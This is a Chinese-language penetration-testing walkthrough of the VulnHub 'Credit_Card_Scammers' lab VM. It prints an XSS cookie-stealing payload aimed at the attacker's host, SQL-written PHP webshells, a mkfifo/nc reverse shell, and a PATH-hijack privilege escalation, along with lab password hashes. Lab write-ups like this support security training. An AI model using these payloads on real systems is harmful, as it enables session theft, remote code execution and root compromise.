Vulnhub之Credit_Card_Scammers靶场渗透
前言
一次“夺旗”练习,涵盖了许多不同的技巧。
背后的故事:骗子正在利用人们,各种假冒购物网站已经建立起来,但人们发现他们的订单从未到达。我们发现了一个诈骗网站,我们认为该网站正在从受害者那里获取信用卡信息。您的目标是通过获得root访问权来删除欺诈网站,并识别其服务器上的3个标志。我们的情报显示,骗子正在积极审查所有订单,以便快速利用信用卡信息。(本次靶场涵盖了SQL写入恶意文件漏洞配合远程命令执行、XSS漏洞)
靶场环境
kali: 192.168.31.28
Credit_Card_Scammers: 192.168.31.119
靶机环境下载链接:https://www.vulnhub.com/entry/credit-card-scammers-1,479/
环境搭建
首先导入我们的虚拟机,我们这里使用的virtualbox搭建的,首先点击管理,点击导入虚拟电脑,,选择你下载的靶机,导入后修改网络设置(这里方便演示我使用了桥接),导入后开启虚拟机,出现一个登陆界面说明成功



靶机渗透
nmap 192.168.31.0/24 //查找存活主机

查看到有一个主机192.168.31.119存活,进行详细扫描检测
nmap 192.168.31.119 -sT -O //查看主机端口信息及操作系统和版本
发现靶机开放了22 80 443 端口,但是9090是被关闭了,不清楚是否有用处,暂时放一边,我们先尝试用80去访问,22和443说不定后面还有用,也是先放一边。访问到网页发现是一个医疗用品销售网站,还发现了一个buynow.php页面,然后就没有其他的了


毫无头绪的时候,使用目录扫描工具进行检测,意外发现了一个后台登录点
python dirsearch.py -u http://192.168.31.119/ -e*
查看后台登录页面,但是要账号密码登录,弱口令爆破不现实,采取其他方法尝试,这里看到框,想到xss,尝试xss测试是否有漏洞(http://dnslog.cn)
"<script src="http://stgw1q.dnslog.cn">alert('xss')</script>" //用dnslog.cn测试是否存在漏洞,dnslog.cn有回显说明有漏洞


构造xss获取index.html访问使用的cookie
"<script src="http://192.168.31.28/index.html"></script>"
"<script>new Image().src="http://192.168.31.28/?co="+document.cookie;</script>"
此处的ip是kali的ip,注意所有框都要插入代码,提交查询前要在kali开启apache2,提交后查看kali中的apache2日志
cat /var/log/apache2/access.log


拿到cookie,去index.html,打开开发者工具(F12),将获取到的cookie替换掉原来的cookie,再访问http://192.168.31.119/_admin/dist就是进入后台了


查看后台有没有什么注入点,找了半天就只有这个框,下面显示说可以执行SQL命令

但是执行了一堆SQL命令没啥用,没有任何回显,决定尝试一下写入文件,不执行不知道,一执行吓一跳,发现可以利用SQL写入任意文件,代码如下:
select "<?php system($_GET['cmd']);?>" into outfile "/var/www/html/shell.php"
//写入一个可以执行系统命令的system函数,参数为cmd,传参方式为GET
写入之后尝试访问shell.php查看是否写入成功

既然已经可以配合命令执行,我们直接写入一句话木马,蚁剑连接靶机后台拿到webshell
echo '<?php @eval($_POST["cmd"]);?>' > cmd.php

蚁剑连接成功,尝试nc连接,但是发现nc连接不了,执行不同的nc连接命令都不行


最后我想到一个连接方法,就是利用在/var/www/html下新建一个php文件,使用一开始nmap检测到的443端口作为nc监听的端口,在tmp建立一个临时文件作为连接文件
<?php system("mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.31.28 443 >/tmp/f");?>

写入且保存成功后,kali开启监听443端口,然后我也访问新建的php,我的是66.php,所以我直接访问http://192.168.31.28/66.php,发现反弹成功

尝试sudo -l 查看是否可以不需要密码的登录,发现sudo -l也是无济于事

查看/home,一般情况用户的目录都会在/home下,所以我们找到home目录,查看有什么可用的用户存在,在此发现了两个用户,一个是admin,一个是moneygrabber

四处逛了逛发现没有什么存储密码的地方,矛头指向了数据库,在settings中看到了数据库配置文件config.php,给了账号密码,直接连接mysql,但是我这里有个bug,数据库一直连接不上,只能采用别人找到的用户和密钥。
admin:$2y$12$A4jgwtWB73.TAMIeplx0T.5oG/mnHR1gTDa8cmtTIvW3zTjdSjdjC
moneygrabber:$2y$12$EX/FDsztTMwftzPRyY8gFuM7ZjAphQRZs88qpZpmboRogOAOYXowC
注:这里使用john --show pass.txt前必须先用john pass.txt爆破,如果显示了三串代码提示说是编码UTF-8,说明密钥的哈希值已经存在,直接就--show
将这两个用户和密钥,编写一个txt文本,随后使用john进行识别密码
john --show pass.txt
发现是hash加密的密文



拿到密码直接去切换用户,su moneygrabber 密码是 delta1

cd ~ 到主目录,查看ls -l 发现了两个文件,一个是flag,另一个是backup.sh,查看是一个执行tar的文件(cat backup.sh)

使用find / -perm -4000 2>/dev/null 查看可执行权限,发现有一个/usr/bin/backup的可执行权限,我们可以尝试用它来提权

strings /usr/bin/backup //strings命令在对象文件或二进制文件中查找可打印的字符串

由于在backup.sh中没有标明可执行的文件路径,也就是tar的路径,所以我们可以将他修改为我们想让他取得命令执行路径,这里将命令执行路径修改为 /tmp ,然后我们在主目录执行backup.sh(./backup.sh),执行脚本后会在主目录下形成一个文件,mysql.tar,但是他还需要新建一个tar文件,所以这里会报错


修改命令执行的路径
echo $PATH //查看当前命令执行路径
export PATH=/tmp //将命令执行路径修改为/tmp

此处是在/tmp下新建一个tar文件,因为.backup.sh需要有一个tar文件来写入
cd /tmp //进入/tmp目录
/usr/bin/echo '/bin/bash' > tar //使用/usr/bin/echo执行将/bin/bash写入tar文件
/usr/bin/ls //查看是否生成成功
/usr/bin/chmod 777 tar //把tar权限改为777(所有用户可读写执行)
/usr/bin/backup //调用./backup.sh
/usr/bin/id //查看是否提权成功
到此就提权成功

Vulnhub之Credit_Card_Scammers靶场渗透的更多相关文章
- VulnHub靶场渗透之:Gigachad
环境搭建 VulnHub是一个丰富的实战靶场集合,里面有许多有趣的实战靶机. 本次靶机介绍: http://www.vulnhub.com/entry/gigachad-1,657/ 下载靶机ova文 ...
- Vulnhub靶场渗透练习(三) bulldog
拿到靶场后先对ip进行扫描 获取ip 和端口 针对项目路径爆破 获取两个有用文件 http://192.168.18.144/dev/ dev,admin 更具dev 发现他们用到框架和语言 找到一 ...
- Vulnhub靶场渗透练习(二) Billu_b0x
运行虚拟机直接上nmap扫描 获取靶场ip nmap 192.168.18.* 开放端口 TCP 22 SSH OpenSSH 5.9p1 TCP 80 HTTP Apache httpd 2.2.2 ...
- Vulnhub靶场渗透练习(一) Breach1.0
打开靶场 固定ip需要更改虚拟机为仅主机模式 192.168.110.140 打开网页http://192.168.110.140/index.html 查看源代码发现可以加密字符串 猜测base64 ...
- Vulnhub靶场渗透练习(五) Lazysysadmin
第一步扫描ip nmap 192.168.18.* 获取ip 192.168.18.147 扫描端口 root@kali:~# masscan - --rate= Starting massc ...
- Vulnhub靶场渗透练习(四) Acid
利用namp 先进行扫描获取ip nmap 192.168.18.* 获取ip 没发现80端口 主机存活 猜测可以是个2000以后的端口 nmap -p1-65533 192.168.18.14 ...
- 靶场渗透CH4INRULZ_v1.0.1
最新文章见我个人博客:点此 靶机环境下载地址:[下载] ova下载下来后直接导入virtualbox即可(https://www.vulnhub.com/entry/ch4inrulz-101,247 ...
- vulnhub靶机Tr0ll:1渗透笔记
Tr0ll:1渗透笔记 靶场下载地址:https://www.vulnhub.com/entry/tr0ll-1,100/ kali ip:192.168.20.128 靶机和kali位于同一网段 信 ...
- vulnhub靶机djinn:1渗透笔记
djinn:1渗透笔记 靶机下载地址:https://www.vulnhub.com/entry/djinn-1,397/ 信息收集 首先我们嘚确保一点,kali机和靶机处于同一网段,查看kali i ...
- webug3.0靶场渗透基础Day_1
第一关: 最简单的get注入 单引号报错 http://192.168.129.136/pentest/test/sqli/sqltamp.php?gid=1' order by 5 --+ ...
随机推荐
- 洛谷P2602 [ZJOI2010] 数字计数 (数位DP)
白嫖的一道省选题...... 1 #include<cstdio> 2 #include<cstring> 3 #include<algorithm> 4 usin ...
- Bert不完全手册9. 长文本建模 BigBird & Longformer & Reformer & Performer
这一章我们来唠唠如何优化BERT对文本长度的限制.BERT使用的Transformer结构核心在于注意力机制强大的交互和记忆能力.不过Attention本身O(n^2)的计算和内存复杂度,也限制了Tr ...
- <一>关于进程虚拟地址空间区域内存划分和布局
C++代码在编译完成后会生产.exe程序(windows平台), .EXE以文件的形式存储在磁盘上,当运行.exe程序的时候 操作系统会将磁盘上的.exe文件加载到内存中,那么在加载到内存中的时候,操 ...
- 萌新也能看懂的KMP算法
前言 算法是什么?算法就是数学规律.怎么去总结和发现这个规律,就是理解算法的过程. KMP算法的本质是穷举法,而并不是去创造新的匹配逻辑. 以下将搜寻的字符串称为子串(part),以P表示.被搜寻的字 ...
- 【Java】Java中的零拷贝
物理内存 计算机物理内存条的容量,比如我们买电脑会关注内存大小有多少G,这个容量就是计算机的物理内存. 虚拟内存 操作系统为每个进程分配了独立的虚拟地址空间,也就是虚拟内存,虚拟地址空间又分为用户空间 ...
- Map中定义的方法:
添加.删除.修改操作: Object put(Object key,Object value):将指定key-value添加到(或修改)当前map对象中void putAll(Map m):将m中的所 ...
- 齐博x1模型里边钩子的创建与使用
在模型里边的钩子创建与使用方法跟在控制器里边的钩子创建及使用方法是有所区别的在模型里边创建的钩子,你可以理解为执行一个函数,是无法调用模型里边的类的方法及属性的.比如系统文件\application\ ...
- 齐博x1页面不直接报错,如何排查
有的页面是不会直接报错的,比如像下面这个,这个时候需要你用谷歌或火狐浏览器打开,按F12键进入开发者模式,然后选择Network选项,刷新一下当前的网页,就会看到红色的请求.单独打开他.就可以看到错误 ...
- 齐博x1动态改变标签调用不同频道的数据
标签默认需要设置标签参数 type 指定调用哪个频道的数据,比如下面的代码,需要默认指定商城的数据, {qb:tag name="qun_pcshow_shop001" type= ...
- 如何规范App广告的隐私获取,让用户拥有更多知情权?
随着互联网的不断普及,越来越多老百姓使用智能设备触达互联网.但用户经常发现自己无意间提到的东西,打开App就收到相关产品的广告推送,甚至有人怀疑手机App是通过麦克风来窃取自己平时聊天信息中的关键词进 ...

